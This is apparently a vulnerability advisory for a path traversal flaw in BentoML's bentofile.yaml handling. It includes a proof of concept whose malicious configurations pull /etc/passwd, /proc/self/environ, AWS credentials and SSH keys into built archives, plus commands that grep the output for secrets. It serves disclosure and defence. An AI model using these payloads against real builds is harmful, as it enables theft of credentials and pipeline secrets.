BentoML has a Path Traversal via Bentofile Configuration

Summary

BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.

Details

The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.

Vulnerable function in src/bentoml/_internal/utils/filesystem.py:114-131:

def resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str:
    _path = os.path.expanduser(os.path.expandvars(filepath))
    if not os.path.isabs(_path) and ctx:
        _path = os.path.expanduser(os.path.join(ctx, filepath))
    if os.path.exists(_path):
        return os.path.realpath(_path)  # No path containment check
    raise FileNotFoundError(f"file {filepath} not found")

Vulnerable code in src/bentoml/_internal/bento/bento.py:348-355:

if build_config.description.startswith("file:"):
    file_name = build_config.description[5:].strip()
    if not ctx_path.joinpath(file_name).exists():
        raise InvalidArgument(f"File {file_name} does not exist.")
    shutil.copy(ctx_path.joinpath(file_name), bento_readme)  # Path traversal

All four vulnerable fields:

• description: "file:../../../etc/passwd" → copied to README.md
• docker.setup_script: "../../../etc/passwd" → copied to env/docker/setup_script
• docker.dockerfile_template: "../../../secret" → copied to env/docker/Dockerfile.template
• conda.environment_yml: "../../../etc/hosts" → copied to env/conda/environment.yml

Multiple path formats are supported, making exploitation trivial:

Format	description	setup_script	dockerfile_template	environment_yml
Absolute paths (/etc/passwd)	Yes	Yes	Yes	Yes
Tilde expansion (~/.ssh/id_rsa)	No	Yes	Yes	Yes
Env vars ($HOME/.aws/credentials)	No	Yes	Yes	Yes
Relative traversal (../../../etc/passwd)	Yes	Yes	Yes	Yes
Proc filesystem (/proc/self/environ)	Yes	Yes	Yes	Yes

The description field uses pathlib.Path.joinpath() directly, while other fields use resolve_user_filepath() which calls os.path.expanduser() and os.path.expandvars().

The /proc/self/environ vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_PASSWORD, etc.).

PoC

1. Create a minimal service:

# service.py
import bentoml

@bentoml.service
class TestService:
    @bentoml.api
    def predict(self, text: str) -> str:
        return text

2. Create malicious bentofile.yaml. Multiple attack vectors are available:

Vector 1: Exfiltrate /etc/passwd via description field

service: "service.py:TestService"
description: "file:/etc/passwd"

Vector 2: Exfiltrate all environment variables (CI/CD secrets)

service: "service.py:TestService"
description: "file:/proc/self/environ"

Vector 3: Exfiltrate files using environment variable expansion (docker fields only)

service: "service.py:TestService"
docker:
  dockerfile_template: "$HOME/.aws/credentials"

Vector 4: Exfiltrate files using tilde expansion (docker fields only)

service: "service.py:TestService"
docker:
  dockerfile_template: "~/.ssh/id_rsa"

Note: The description field does not support ~ or $VAR expansion. Use absolute paths or relative traversal for description. The docker.* and conda.* fields support all path formats.

3. Run build:

$ bentoml build
Successfully built Bento(tag="test_service:abc123").

4. Verify exfiltration:

# For description field - check README.md
$ cat ~/bentoml/bentos/test_service/abc123/README.md
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

# For /proc/self/environ - extract CI/CD secrets
$ cat ~/bentoml/bentos/test_service/abc123/README.md | tr '\0' '\n' | grep -E "KEY|TOKEN|SECRET"
AWS_SECRET_ACCESS_KEY=AKIA...
GITHUB_TOKEN=ghp_...

# For dockerfile_template - check Dockerfile.template
$ cat ~/bentoml/bentos/test_service/abc123/env/docker/Dockerfile.template
[default]
aws_access_key_id = AKIA...
aws_secret_access_key = ...

The exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.

Impact

Who is impacted: Any user who runs bentoml build on an untrusted bentofile.yaml (e.g., cloned from a malicious repository).

Attack scenarios:

• Supply chain attack: Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated
• CI/CD environment variable theft: Using file:/proc/self/environ, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL, etc.), making this a single-payload method to steal all pipeline secrets.
• BentoCloud exfiltration: When victims push compromised bentos to BentoCloud (bentoml push), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel.
• Data theft: Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments